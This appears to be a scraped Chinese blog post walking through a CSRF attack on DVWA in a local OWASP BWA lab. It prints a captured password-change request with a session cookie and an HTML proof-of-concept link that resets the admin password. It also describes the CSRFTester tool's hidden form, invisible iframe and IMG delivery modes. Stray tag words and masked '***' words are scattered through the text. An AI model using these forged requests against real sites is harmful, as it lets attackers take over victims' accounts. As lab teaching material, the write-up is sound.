CSRF漏洞測試案例

CSRF***流程爲:php

***者發現CSRF漏洞——構造代碼——發送給受害人——受害人打開——受害人執行代碼——完成***

完成***成功的條件:html

    管理員正在網站後臺,或則管理員的session並無失效。nginx


測試網站:web

    owaspbwa環境中的DVWA應用環境
跨域


測試內容爲CSRF漏洞
瀏覽器

如圖所示:session

wKiom1iayGTAVmDmAADjTuKjrxw193.jpg-wh_50


修改登錄密碼的HTTP請求內容以下:app

GET /dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change HTTP/1.1框架

Host: 192.168.232.132ide

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2984.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,p_w_picpath/webp,*/*;q=0.8

Referer: https://192.168.232.132/dvwa/vulnerabilities/csrf/

Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

Cookie: security=low; PHPSESSID=3i35050qluj2hvvqu9rk760o81; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada


Nginx測試

本地搭建nginx環境,僞造http請求,提交http請求,直接修改192.168.232.132中DVWA的登錄口令!!!

建立csrf.html文件,內容以下:

<html>

<head>

<title>csrf漏洞測試</title>

</head>

<body>

This is a CSRF test.

<a href="https://192.168.232.132/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">點這裏</a>


</body>

</html>


訪問CSRF.html,如圖所示

wKiom1iayRSTfOzyAAAUhFABRSA311.jpg


點擊超連接,成功發送請求,且修改了DVWA的登陸口令,如圖所示:

wKioL1iayV-iFB4WAADtry6CO14288.jpg-wh_50


使用修改後的密碼能夠直接登錄後臺!!!


工具:OWASP-CSRFTester-1.0.jar,能夠自動生成不一樣內容的***文件。

瀏覽器設置代理,端口爲8008,軟件看下有沒有token的存在,而後開始使用。


軟件中Report Type了是讓你選擇用什麼方法來進行***:

Forms:建立一個form表單。內容爲hidden(隱藏),用戶不可見(可POST、GET)

iFrame:建立一個iframe框架,高寬爲0,用戶不可見。(可POST、GET)

IMG:建立一個IMG標籤(只能GET)。

XHR:建立一個AJAX請求(可POST、GET)

Link:建立一個a標籤的超連接(只能GET)


一般使用第一個就能夠了

第二個容易找不到對象(若是你是新手,對JavaScript不熟的話,不建議選擇這個)

第三個只能發送GET請求,有限制。

第四個有跨域限制,有的瀏覽器不容許發送跨域請求,除非網站有設置。

第五個須要點擊才能觸發(固然能夠修改成自動觸發),還有一個是他也只能發送GET請求。


本次測試所有爲本地環境,若有雷同,純屬巧合!!!

就到這裏吧!!!

相關文章
相關標籤/搜索